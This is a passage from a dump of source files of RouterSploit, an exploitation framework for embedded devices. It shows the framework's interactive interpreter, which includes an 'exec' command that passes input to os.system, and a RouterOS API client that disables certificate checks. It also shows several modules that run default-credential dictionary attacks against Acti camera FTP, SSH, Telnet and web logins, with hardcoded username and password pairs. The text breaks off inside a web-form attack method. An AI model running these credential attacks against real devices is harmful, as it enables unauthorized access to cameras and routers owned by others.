name> <option value>    Set an option for the selected module\n    setg <option name> <option value>   Set an option for all of the modules\n    unsetg <option name>                Unset option that was set globally\n    show [info|options|devices]         Print information, options, or target devices for a module\n    check                               Check if a given target is vulnerable to a selected module's exploit\"\"\"\n\n    def __init__(self):\n        super(RoutersploitInterpreter, self).__init__()\n        PrinterThread().start()\n        \n        self.current_module = None\n        self.raw_prompt_template = None\n        self.module_prompt_template = None\n        self.prompt_hostname = \"rsf\"\n        self.show_sub_commands = (\"info\", \"options\", \"advanced\", \"devices\", \"all\", \"encoders\", \"creds\", \"exploits\", \"scanners\", \"wordlists\")\n        self.search_sub_commands = (\"type\", \"device\", \"language\", \"payload\", \"vendor\")\n\n        self.global_commands = sorted([\"use \", \"exec \", \"help\", \"exit\", \"show \", \"search \"])\n        self.module_commands = [\"run\", \"back\", \"set \", \"setg \", \"check\"]\n        self.module_commands.extend(self.global_commands)\n        self.module_commands.sort()\n\n        self.modules = index_modules()\n        self.modules_count = Counter()\n        self.modules_count.update([module.split('.')[0] for module in self.modules])\n        self.main_modules_dirs = [module for module in os.listdir(MODULES_DIR) if not module.startswith(\"__\")]\n\n        self.__parse_prompt()\n\n        self.banner = \"\"\" ______            _            _____       _       _ _\n | ___ \\\\          | |          /  ___|     | |     (_) |\n | |_/ /___  _   _| |_ ___ _ __\\\\ `--. _ __ | | ___  _| |_\n |    // _ \\\\| | | | __/ _ \\\\ '__|`--. \\\\ '_ \\\\| |/ _ \\\\| | __|\n | |\\\\ \\\\ (_) | |_| | ||  __/ |  /\\\\__/ / |_) | | (_) | | |_\n \\\\_| \\\\_\\\\___/ \\\\__,_|\\\\__\\\\___|_|  \\\\____/| .__/|_|\\\\___/|_|\\\\__|\n                                     | |\n       Exploitation Framework for    |_|    by Threat9\n            Embedded Devices\n\n Codename   : I Knew You Were Trouble\n Version    : 3.4.7\n Homepage   : https://www.threat9.com - @threatnine\n\n Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count} Generic: {generic_count} Payloads: {payloads_count} Encoders: {encoders_count}\n\"\"\".format(exploits_count=self.modules_count[\"exploits\"],\n           scanners_count=self.modules_count[\"scanners\"],\n           creds_count=self.modules_count[\"creds\"],\n           generic_count=self.modules_count[\"generic\"],\n           payloads_count=self.modules_count[\"payloads\"],\n           encoders_count=self.modules_count[\"encoders\"])\n\n    def __parse_prompt(self):\n        raw_prompt_default_template = \"\\001\\033[4m\\002{host}\\001\\033[0m\\002 > \"\n        raw_prompt_template = os.getenv(\"RSF_RAW_PROMPT\", raw_prompt_default_template).replace('\\\\033', '\\033')\n        self.raw_prompt_template = raw_prompt_template if '{host}' in raw_prompt_template else raw_prompt_default_template\n\n        module_prompt_default_template = \"\\001\\033[4m\\002{host}\\001\\033[0m\\002 (\\001\\033[91m\\002{module}\\001\\033[0m\\002) > \"\n        module_prompt_template = os.getenv(\"RSF_MODULE_PROMPT\", module_prompt_default_template).replace('\\\\033', '\\033')\n        self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', \"{module}\"])) else module_prompt_default_template\n\n    def __handle_if_noninteractive(self, argv):\n        \"\"\" Keep old method for backward compat only \"\"\"\n        self.nonInteractive(argv)\n\n    def nonInteractive(self, argv):\n        \"\"\" Execute specific command and return result without launching the interactive CLI\n\n        :return:\n\n        \"\"\"\n        module = \"\"\n        set_opts = []\n\n        try:\n            opts, args = getopt.getopt(argv[1:], \"hm:s:\", [\"help=\", \"module=\", \"set=\"])\n        except getopt.GetoptError:\n            print_info(\"{} -m <module> -s \\\"<option> <value>\\\"\".format(argv[0]))\n            printer_queue.join()\n            return\n\n        for opt, arg in opts:\n            if opt in (\"-h\", \"--help\"):\n                print_info(\"{} -m <module> -s \\\"<option> <value>\\\"\".format(argv[0]))\n                printer_queue.join()\n                return\n            elif opt in (\"-m\", \"--module\"):\n                module = arg\n            elif opt in (\"-s\", \"--set\"):\n                set_opts.append(arg)\n\n        if not len(module):\n            print_error('A module is required when running non-interactively')\n            printer_queue.join()\n            return\n\n        self.command_use(module)\n\n        for opt in set_opts:\n            self.command_set(opt)\n\n        self.command_exploit()\n\n        # Wait for results if needed\n        printer_queue.join()\n\n        return\n\n    @property\n    def module_metadata(self):\n        return getattr(self.current_module, \"_{}__info__\".format(self.current_module.__class__.__name__))\n\n    @property\n    def prompt(self):\n        \"\"\" Returns prompt string based on current_module attribute.\n\n        Adding module prefix (module.name) if current_module attribute is set.\n\n        :return: prompt string with appropriate module prefix.\n        \"\"\"\n        if self.current_module:\n            try:\n                return self.module_prompt_template.format(host=self.prompt_hostname, module=self.module_metadata['name'])\n            except (AttributeError, KeyError):\n                return self.module_prompt_template.format(host=self.prompt_hostname, module=\"UnnamedModule\")\n        else:\n            return self.raw_prompt_template.format(host=self.prompt_hostname)\n\n    def available_modules_completion(self, text):\n        \"\"\" Looking for tab completion hints using setup.py entry_points.\n\n        May need optimization in the future!\n\n        :param text: argument of 'use' command\n        :return: list of tab completion hints\n        \"\"\"\n        text = pythonize_path(text)\n        all_possible_matches = filter(lambda x: x.startswith(text), self.modules)\n        matches = set()\n        for match in all_possible_matches:\n            head, sep, tail = match[len(text):].partition('.')\n            if not tail:\n                sep = \"\"\n            matches.add(\"\".join((text, head, sep)))\n        return list(map(humanize_path, matches))  # humanize output, replace dots to forward slashes\n\n    def suggested_commands(self):\n        \"\"\" Entry point for intelligent tab completion.\n\n        Based on state of interpreter this method will return intelligent suggestions.\n\n        :return: list of most accurate command suggestions\n        \"\"\"\n        if self.current_module and GLOBAL_OPTS:\n            return sorted(itertools.chain(self.module_commands, (\"unsetg \",)))\n        elif self.current_module:\n            return self.module_commands\n        else:\n            return self.global_commands\n\n    def command_back(self, *args, **kwargs):\n        self.current_module = None\n\n    def command_use(self, module_path, *args, **kwargs):\n        module_path = pythonize_path(module_path)\n        module_path = \".\".join((\"routersploit\", \"modules\", module_path))\n        # module_path, _, exploit_name = module_path.rpartition('.')\n        try:\n            self.current_module = import_exploit(module_path)()\n        except RoutersploitException as err:\n            print_error(str(err))\n\n    @stop_after(2)\n    def complete_use(self, text, *args, **kwargs):\n        if text:\n            return self.available_modules_completion(text)\n        else:\n            return self.main_modules_dirs\n\n    def __command_sigint_handler(self, signum, frame):\n        raise KeyboardInterrupt\n\n    @module_required\n    def command_run(self, *args, **kwargs):\n        print_status(\"Running module {}...\".format(self.current_module))\n        try:\n            signal.signal(signal.SIGINT, self.__command_sigint_handler)\n            self.current_module.run()\n        except KeyboardInterrupt:\n            print_info()\n            print_error(\"Operation cancelled by user\")\n        except Exception:\n            print_error(traceback.format_exc(sys.exc_info()))\n        finally:\n            signal.signal(signal.SIGINT, signal.getsignal(signal.SIGINT))\n\n\n    def command_exploit(self, *args, **kwargs):\n        self.command_run()\n\n    @module_required\n    def command_set(self, *args, **kwargs):\n        key, _, value = args[0].partition(\" \")\n        if key in self.current_module.options:\n            setattr(self.current_module, key, value)\n            self.current_module.exploit_attributes[key][0] = value\n\n            if kwargs.get(\"glob\", False):\n                GLOBAL_OPTS[key] = value\n            print_success(\"{} => {}\".format(key, value))\n        else:\n            print_error(\"You can't set option '{}'.\\n\"\n                        \"Available options: {}\".format(key, self.current_module.options))\n\n    @stop_after(2)\n    def complete_set(self, text, *args, **kwargs):\n        if text:\n            return [\" \".join((attr, \"\")) for attr in self.current_module.options if attr.startswith(text)]\n        else:\n            return self.current_module.options\n\n    @module_required\n    def command_setg(self, *args, **kwargs):\n        kwargs['glob'] = True\n        self.command_set(*args, **kwargs)\n\n    @stop_after(2)\n    def complete_setg(self, text, *args, **kwargs):\n        return self.complete_set(text, *args, **kwargs)\n\n    @module_required\n    def command_unsetg(self, *args, **kwargs):\n        key, _, value = args[0].partition(' ')\n        try:\n            del GLOBAL_OPTS[key]\n        except KeyError:\n            print_error(\"You can't unset global option '{}'.\\n\"\n                        \"Available global options: {}\".format(key, list(GLOBAL_OPTS.keys())))\n        else:\n            print_success({key: value})\n\n    @stop_after(2)\n    def complete_unsetg(self, text, *args, **kwargs):\n        if text:\n            return [' '.join((attr, \"\")) for attr in GLOBAL_OPTS.keys() if attr.startswith(text)]\n        else:\n            return list(GLOBAL_OPTS.keys())\n\n    @module_required\n    def get_opts(self, *args):\n        \"\"\" Generator returning module's Option attributes (option_name, option_value, option_description)\n\n        :param args: Option names\n        :return:\n        \"\"\"\n        for opt_key in args:\n            try:\n                opt_description = self.current_module.exploit_attributes[opt_key][1]\n                opt_display_value = self.current_module.exploit_attributes[opt_key][0]\n                if self.current_module.exploit_attributes[opt_key][2]:\n                    continue\n            except (KeyError, IndexError, AttributeError):\n                pass\n            else:\n                yield opt_key, opt_display_value, opt_description\n\n    @module_required\n    def get_opts_adv(self, *args):\n        \"\"\" Generator returning module's advanced Option attributes (option_name, option_value, option_description)\n\n        :param args: Option names\n        :return:\n        \"\"\"\n        for opt_key in args:\n            try:\n                opt_description = self.current_module.exploit_attributes[opt_key][1]\n                opt_display_value = self.current_module.exploit_attributes[opt_key][0]\n            except (KeyError, AttributeError):\n                pass\n            else:\n                yield opt_key, opt_display_value, opt_description\n\n    @module_required\n    def _show_info(self, *args, **kwargs):\n        pprint_dict_in_order(\n            self.module_metadata,\n            (\"name\", \"description\", \"devices\", \"authors\", \"references\"),\n        )\n        print_info()\n\n    @module_required\n    def _show_options(self, *args, **kwargs):\n        target_names = [\"target\", \"port\", \"ssl\", \"rhost\", \"rport\", \"lhost\", \"lport\"]\n        target_opts = [opt for opt in self.current_module.options if opt in target_names]\n        module_opts = [opt for opt in self.current_module.options if opt not in target_opts]\n        headers = (\"Name\", \"Current settings\", \"Description\")\n\n        print_info(\"\\nTarget options:\")\n        print_table(headers, *self.get_opts(*target_opts))\n\n        if module_opts:\n            print_info(\"\\nModule options:\")\n            print_table(headers, *self.get_opts(*module_opts))\n\n        print_info()\n\n    @module_required\n    def _show_advanced(self, *args, **kwargs):\n        target_names = [\"target\", \"port\", \"ssl\", \"rhost\", \"rport\", \"lhost\", \"lport\"]\n        target_opts = [opt for opt in self.current_module.options if opt in target_names]\n        module_opts = [opt for opt in self.current_module.options if opt not in target_opts]\n        headers = (\"Name\", \"Current settings\", \"Description\")\n\n        print_info(\"\\nTarget options:\")\n        print_table(headers, *self.get_opts(*target_opts))\n\n        if module_opts:\n            print_info(\"\\nModule options:\")\n            print_table(headers, *self.get_opts_adv(*module_opts))\n\n        print_info()\n\n    @module_required\n    def _show_devices(self, *args, **kwargs):  # TODO: cover with tests\n        try:\n            devices = self.current_module._Exploit__info__['devices']\n\n            print_info(\"\\nTarget devices:\")\n            i = 0\n            for device in devices:\n                if isinstance(device, dict):\n                    print_info(\"   {} - {}\".format(i, device['name']))\n                else:\n                    print_info(\"   {} - {}\".format(i, device))\n                i += 1\n            print_info()\n        except KeyError:\n            print_info(\"\\nTarget devices are not defined\")\n\n    @module_required\n    def _show_wordlists(self, *args, **kwargs):\n        headers = (\"Wordlist\", \"Path\")\n        wordlists = [(f, \"file://{}/{}\".format(WORDLISTS_DIR, f)) for f in os.listdir(WORDLISTS_DIR) if f.endswith(\".txt\")]\n\n        print_table(headers, *wordlists, max_column_length=100)\n\n    @module_required\n    def _show_encoders(self, *args, **kwargs):\n        if issubclass(self.current_module.__class__, BasePayload):\n            encoders = self.current_module.get_encoders()\n            if encoders:\n                headers = (\"Encoder\", \"Name\", \"Description\")\n                print_table(headers, *encoders, max_column_length=100)\n                return\n\n        print_error(\"No encoders available\")\n\n    def __show_modules(self, root=''):\n        for module in [module for module in self.modules if module.startswith(root)]:\n            print_info(module.replace('.', os.sep))\n\n    def _show_all(self, *args, **kwargs):\n        self.__show_modules()\n\n    def _show_scanners(self, *args, **kwargs):\n        self.__show_modules('scanners')\n\n    def _show_exploits(self, *args, **kwargs):\n        self.__show_modules('exploits')\n\n    def _show_creds(self, *args, **kwargs):\n        self.__show_modules('creds')\n\n    def command_show(self, *args, **kwargs):\n        sub_command = args[0]\n        try:\n            getattr(self, \"_show_{}\".format(sub_command))(*args, **kwargs)\n        except AttributeError:\n            print_error(\"Unknown 'show' sub-command '{}'. \"\n                        \"What do you want to show?\\n\"\n                        \"Possible choices are: {}\".format(sub_command, self.show_sub_commands))\n\n    @stop_after(2)\n    def complete_show(self, text, *args, **kwargs):\n        if text:\n            return [command for command in self.show_sub_commands if command.startswith(text)]\n        else:\n            return self.show_sub_commands\n\n    @module_required\n    def command_check(self, *args, **kwargs):\n        try:\n            result = self.current_module.check()\n        except Exception as error:\n            print_error(error)\n        else:\n            if result is True:\n                print_success(\"Target is vulnerable\")\n            elif result is False:\n                print_error(\"Target is not vulnerable\")\n            else:\n                print_status(\"Target could not be verified\")\n\n    def command_help(self, *args, **kwargs):\n        print_info(self.global_help)\n        if self.current_module:\n            print_info(\"\\n\", self.module_help)\n\n    def command_exec(self, *args, **kwargs):\n        os.system(args[0])\n\n    def command_search(self, *args, **kwargs):\n        mod_type = ''\n        mod_detail = ''\n        mod_vendor = ''\n        existing_modules = [name for _, name, _ in pkgutil.iter_modules([MODULES_DIR])]\n        devices = [name for _, name, _ in pkgutil.iter_modules([os.path.join(MODULES_DIR, 'exploits')])]\n        languages = [name for _, name, _ in pkgutil.iter_modules([os.path.join(MODULES_DIR, 'encoders')])]\n        payloads = [name for _, name, _ in pkgutil.iter_modules([os.path.join(MODULES_DIR, 'payloads')])]\n\n        try:\n            keyword = args[0].strip(\"'\\\"\").lower()\n        except IndexError:\n            keyword = ''\n\n        if not (len(keyword) or len(kwargs.keys())):\n            print_error(\"Please specify at least search keyword. e.g. 'search cisco'\")\n            print_error(\"You can specify options. e.g. 'search type=exploits device=routers vendor=linksys WRT100 rce'\")\n            return\n\n        for (key, value) in kwargs.items():\n            if key == 'type':\n                if value not in existing_modules:\n                    print_error(\"Unknown module type.\")\n                    return\n                # print_info(' - Type  :\\t{}'.format(value))\n                mod_type = \"{}.\".format(value)\n            elif key in ['device', 'language', 'payload']:\n                if key == 'device' and (value not in devices):\n                    print_error(\"Unknown exploit type.\")\n                    return\n                elif key == 'language' and (value not in languages):\n                    print_error(\"Unknown encoder language.\")\n                    return\n                elif key == 'payload' and (value not in payloads):\n                    print_error(\"Unknown payload type.\")\n                    return\n                # print_info(' - {}:\\t{}'.format(key.capitalize(), value))\n                mod_detail = \".{}.\".format(value)\n            elif key == 'vendor':\n                # print_info(' - Vendor:\\t{}'.format(value))\n                mod_vendor = \".{}.\".format(value)\n\n        for module in self.modules:\n            if mod_type not in str(module):\n                continue\n            if mod_detail not in str(module):\n                continue\n            if mod_vendor not in str(module):\n                continue\n            if not all(word in str(module) for word in keyword.split()):\n                continue\n\n            found = humanize_path(module)\n\n            if len(keyword):\n                for word in keyword.split():\n                    found = found.replace(word, \"\\033[31m{}\\033[0m\".format(word))\n\n            print_info(found)\n\n    @stop_after(2)\n    def complete_search(self, text, *args, **kwargs):\n        if text:\n            return [command for command in self.search_sub_commands if command.startswith(text)]\n        else:\n            return self.search_sub_commands\n\n    def command_exit(self, *args, **kwargs):\n        raise EOFError\n"
  },
  {
    "path": "routersploit/libs/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/libs/apiros/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/libs/apiros/apiros_client.py",
    "content": "# MIT License\n# The code is taken from https://github.com/LaiArturs/RouterOS_API/\n# All credits go to Arturs Laizans - https://github.com/LaiArtur\n\nimport binascii\nimport hashlib\nimport socket\nimport ssl\n\nTIMEOUT = 8.0\n\nCONTEXT = ssl.create_default_context()\nCONTEXT.check_hostname = False\nCONTEXT.verify_mode = ssl.CERT_NONE\nCONTEXT.set_ciphers(\"ADH:ALL\")\n\n\nclass LoginError(Exception):\n    pass\n\n\nclass WordTooLong(Exception):\n    pass\n\n\nclass CreateSocketError(Exception):\n    pass\n\n\nclass RouterOSTrapError(Exception):\n    pass\n\n\nclass ApiRosClient(object):\n    \"RouterOS API\"\n\n    def __init__(self, address, port, user, password, use_ssl=False,\n                 context=CONTEXT, timeout=TIMEOUT):\n\n        self.address = address\n        self.user = user\n        self.password = password\n        self.use_ssl = use_ssl\n        self.port = port\n        self.context = context\n        self.timeout = timeout\n\n        # Port setting logic\n        if port:\n            self.port = port\n        elif use_ssl:\n            self.port = SSL_PORT\n        else:\n            self.port = PORT\n\n        self.sock = None\n        self.connection = None\n\n    # Open socket connection with router and wrap with SSL if needed.\n    def open_socket(self):\n\n        for res in socket.getaddrinfo(self.address, self.port, socket.AF_UNSPEC, socket.SOCK_STREAM):\n            af, socktype, proto, canonname, sa = res\n\n        self.sock = socket.socket(af, socket.SOCK_STREAM)\n        self.sock.settimeout(self.timeout)\n\n        try:\n            # Trying to connect to RouterOS, error can occur if IP address is not reachable, or API is blocked in\n            # RouterOS firewall or ip services, or port is wrong.\n            self.connection = self.sock.connect(sa)\n\n        except OSError:\n            raise CreateSocketError('Error: API failed to connect to socket. Host: {}, port: {}.'.format(self.address,\n                                                                                                         self.port))\n\n        if self.use_ssl:\n            self.sock = self.context.wrap_socket(self.sock)\n\n    def login(self):\n\n        def reply_has_error(reply):\n            # Check if reply contains login error\n            if len(reply[0]) == 2 and reply[0][0] == '!trap':\n                return True\n            else:\n                return False\n\n        def process_old_login(reply):\n            # RouterOS uses old API login method, code continues with old method\n            md5 = hashlib.md5(('\\x00' + self.password).encode('utf-8'))\n            md5.update(binascii.unhexlify(reply[0][1][5:]))\n            sentence = ['/login', '=name=' + self.user, '=response=00'\n                        + binascii.hexlify(md5.digest()).decode('utf-8')]\n            reply = self.communicate(sentence)\n            return check_reply(reply)\n\n        def check_reply(reply):\n            if len(reply[0]) == 1 and reply[0][0] == '!done':\n                # If login process was successful\n                return reply\n            elif reply_has_error(reply):\n                raise LoginError(reply)\n            elif len(reply[0]) == 2 and reply[0][1][0:5] == '=ret=':\n                return process_old_login(reply)\n            else:\n                raise LoginError(f'Unexpected reply to login: {reply}')\n\n        sentence = ['/login', '=name=' + self.user, '=password=' + self.password]\n        reply = self.communicate(sentence)\n        return check_reply(reply)\n\n    # Sending data to router and expecting something back\n    def communicate(self, sentence_to_send):\n\n        # There is specific way of sending word length in RouterOS API.\n        # See RouterOS API Wiki for more info.\n        def send_length(w):\n            length_to_send = len(w)\n            if length_to_send < 0x80:\n                num_of_bytes = 1  # For words smaller than 128\n            elif length_to_send < 0x4000:\n                length_to_send += 0x8000\n                num_of_bytes = 2  # For words smaller than 16384\n            elif length_to_send < 0x200000:\n                length_to_send += 0xC00000\n                num_of_bytes = 3  # For words smaller than 2097152\n            elif length_to_send < 0x10000000:\n                length_to_send += 0xE0000000\n                num_of_bytes = 4  # For words smaller than 268435456\n            elif length_to_send < 0x100000000:\n                num_of_bytes = 4  # For words smaller than 4294967296\n                self.sock.sendall(b'\\xF0')\n            else:\n                raise WordTooLong('Word is too long. Max length of word is 4294967295.')\n            self.sock.sendall(length_to_send.to_bytes(num_of_bytes, byteorder='big'))\n\n            # Actually I haven't successfully sent words larger than approx. 65520.\n            # Probably it is some RouterOS limitation of 2^16.\n\n        # The same logic applies for receiving word length from RouterOS side.\n        # See RouterOS API Wiki for more info.\n        def receive_length():\n            r = self.sock.recv(1)  # Receive the first byte of word length\n\n            # If the first byte of word is smaller than 80 (base 16),\n            # then we already received the whole length and can return it.\n            # Otherwise if it is larger, then word size is encoded in multiple bytes and we must receive them all to\n            # get the whole word size.\n\n            if r < b'\\x80':\n                r = int.from_bytes(r, byteorder='big')\n            elif r < b'\\xc0':\n                r += self.sock.recv(1)\n                r = int.from_bytes(r, byteorder='big')\n                r -= 0x8000\n            elif r < b'\\xe0':\n                r += self.sock.recv(2)\n                r = int.from_bytes(r, byteorder='big')\n                r -= 0xC00000\n            elif r < b'\\xf0':\n                r += self.sock.recv(3)\n                r = int.from_bytes(r, byteorder='big')\n                r -= 0xE0000000\n            elif r == b'\\xf0':\n                r = self.sock.recv(4)\n                r = int.from_bytes(r, byteorder='big')\n\n            return r\n\n        def read_sentence():\n            rcv_sentence = []  # Words will be appended here\n            rcv_length = receive_length()  # Get the size of the word\n\n            while rcv_length != 0:\n                received = b''\n                while rcv_length > len(received):\n                    rec = self.sock.recv(rcv_length - len(received))\n                    if rec == b'':\n                        raise RuntimeError('socket connection broken')\n                    received += rec\n                received = received.decode('utf-8', 'backslashreplace')\n                rcv_sentence.append(received)\n                rcv_length = receive_length()  # Get the size of the next word\n            return rcv_sentence\n\n        # Sending part of conversation\n\n        # Each word must be sent separately.\n        # First, length of the word must be sent,\n        # Then, the word itself.\n        for word in sentence_to_send:\n            send_length(word)\n            self.sock.sendall(word.encode('utf-8'))  # Sending the word\n        self.sock.sendall(b'\\x00')  # Send zero length word to mark end of the sentence\n\n        # Receiving part of the conversation\n\n        # Will continue receiving until receives '!done' or some kind of error (!trap).\n        # Everything will be appended to paragraph variable, and then returned.\n        paragraph = []\n        received_sentence = ['']\n        while received_sentence[0] != '!done':\n            received_sentence = read_sentence()\n            paragraph.append(received_sentence)\n        return paragraph\n\n    # Initiate a conversation with the router\n    def talk(self, message):\n\n        # It is possible for message to be string, tuple or list containing multiple strings or tuples\n        if type(message) == str or type(message) == tuple:\n            return self.send(message)\n        elif type(message) == list:\n            reply = []\n            for sentence in message:\n                reply.append(self.send(sentence))\n            return reply\n        else:\n            raise TypeError('talk() argument must be str or tuple containing str or list containing str or tuples')\n\n    def send(self, sentence):\n        # If sentence is string, not tuples of strings, it must be divided in words\n        if type(sentence) == str:\n            sentence = sentence.split()\n        reply = self.communicate(sentence)\n\n        # If RouterOS returns error from command that was sent\n        if '!trap' in reply[0][0]:\n            # You can comment following line out if you don't want to raise an error in case of !trap\n            raise RouterOSTrapError(\"\\nCommand: {}\\nReturned an error: {}\".format(sentence, reply))\n            pass\n\n        # reply is list containing strings with RAW output form API\n        # nice_reply is a list containing output form API sorted in dictionary for easier use later\n        nice_reply = []\n        for m in range(len(reply) - 1):\n            nice_reply.append({})\n            for k, v in (x[1:].split('=', 1) for x in reply[m][1:]):\n                nice_reply[m][k] = v\n        return nice_reply\n\n    def is_alive(self) -> bool:\n        \"\"\"Check if socket is alive and router responds\"\"\"\n\n        # Check if socket is open in this end\n        try:\n            self.sock.settimeout(2)\n        except OSError:\n            return False\n\n        # Check if we can send and receive through socket\n        try:\n            self.talk('/system/identity/print')\n\n        except (socket.timeout, IndexError, BrokenPipeError):\n            self.close()\n            return False\n\n        self.sock.settimeout(self.timeout)\n        return True\n\n    def create_connection(self):\n        self.open_socket()\n        self.login()\n\n    def close(self):\n        self.sock.close()\n"
  },
  {
    "path": "routersploit/libs/lzs/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/libs/lzs/lzs.py",
    "content": "##############################################################\n# Lempel-Ziv-Stac decompression\n# BitReader and RingList classes\n#\n# Copyright (C) 2011  Filippo Valsorda - FiloSottile\n# filosottile.wiki gmail.com - www.pytux.it\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.\n#\n##############################################################\n\nimport collections\n\n\nclass BitReader:\n    \"\"\"\n    Gets a string or a iterable of chars (also mmap)\n    representing bytes (ord) and permits to extract\n    bits one by one like a stream\n    \"\"\"\n\n    def __init__(self, data_bytes):\n        self._bits = collections.deque()\n\n        for byte in data_bytes:\n            for n in range(8):\n                self._bits.append(bool((byte >> (7 - n)) & 1))\n\n    def getBit(self):\n        return self._bits.popleft()\n\n    def getBits(self, num):\n        res = 0\n        for i in range(num):\n            res += self.getBit() << num - 1 - i\n        return res\n\n    def getByte(self):\n        return self.getBits(8)\n\n    def __len__(self):\n        return len(self._bits)\n\n\nclass RingList:\n    \"\"\"\n    When the list is full, for every item appended\n    the older is removed\n    \"\"\"\n\n    def __init__(self, length):\n        self.__data__ = collections.deque()\n        self.__full__ = False\n        self.__max__ = length\n\n    def append(self, x):\n        if self.__full__:\n            self.__data__.popleft()\n        self.__data__.append(x)\n        if self.size() == self.__max__:\n            self.__full__ = True\n\n    def get(self):\n        return self.__data__\n\n    def size(self):\n        return len(self.__data__)\n\n    def maxsize(self):\n        return self.__max__\n\n    def __getitem__(self, n):\n        if n >= self.size():\n            return None\n        return self.__data__[n]\n\n\ndef LZSDecompress(data, window=RingList(2048)):\n    \"\"\"\n    Gets a string or a iterable of chars (also mmap)\n    representing bytes (ord) and an optional\n    pre-populated dictionary; return the decompressed\n    string and the final dictionary\n    \"\"\"\n    reader = BitReader(data)\n    result = ''\n\n    while True:\n        bit = reader.getBit()\n        if not bit:\n            char = reader.getByte()\n            result += chr(char)\n            window.append(char)\n        else:\n            bit = reader.getBit()\n            if bit:\n                offset = reader.getBits(7)\n                if offset == 0:\n                    # EOF\n                    break\n            else:\n                offset = reader.getBits(11)\n\n            lenField = reader.getBits(2)\n            if lenField < 3:\n                length = lenField + 2\n            else:\n                lenField <<= 2\n                lenField += reader.getBits(2)\n                if lenField < 15:\n                    length = (lenField & 0x0f) + 5\n                else:\n                    lenCounter = 0\n                    lenField = reader.getBits(4)\n                    while lenField == 15:\n                        lenField = reader.getBits(4)\n                        lenCounter += 1\n                    length = 15 * lenCounter + 8 + lenField\n            for i in range(length):\n                char = window[-offset]\n                result += chr(char)\n                window.append(char)\n\n    return result, window\n"
  },
  {
    "path": "routersploit/modules/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/__init__.py",
    "content": "__author__ = 'fwkz'\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/acti/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/acti/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Acti Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack with default credentials against Acti Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Acti Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:12345,admin:123456,Admin:12345,Admin:123456\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/acti/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Acti Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack with default credentials against ACTI Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Acti Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:12345,admin:123456,Admin:12345,Admin:123456\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/acti/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Acti Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack with default credentials against Acti Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Acti Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:12345,admin:123456,Admin:12345,Admin:123456\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/acti/webinterface_http_form_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Acti Camera Default Web Interface Creds - HTTP Form\",\n        \"description\": \"Module performs default credentials check against Acti Camera Web Interface. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Acti Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:12345,admin:123456,Admin:12345,Admin:123456\", \"User:Pass or file with default ccredentials (file://)\")\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        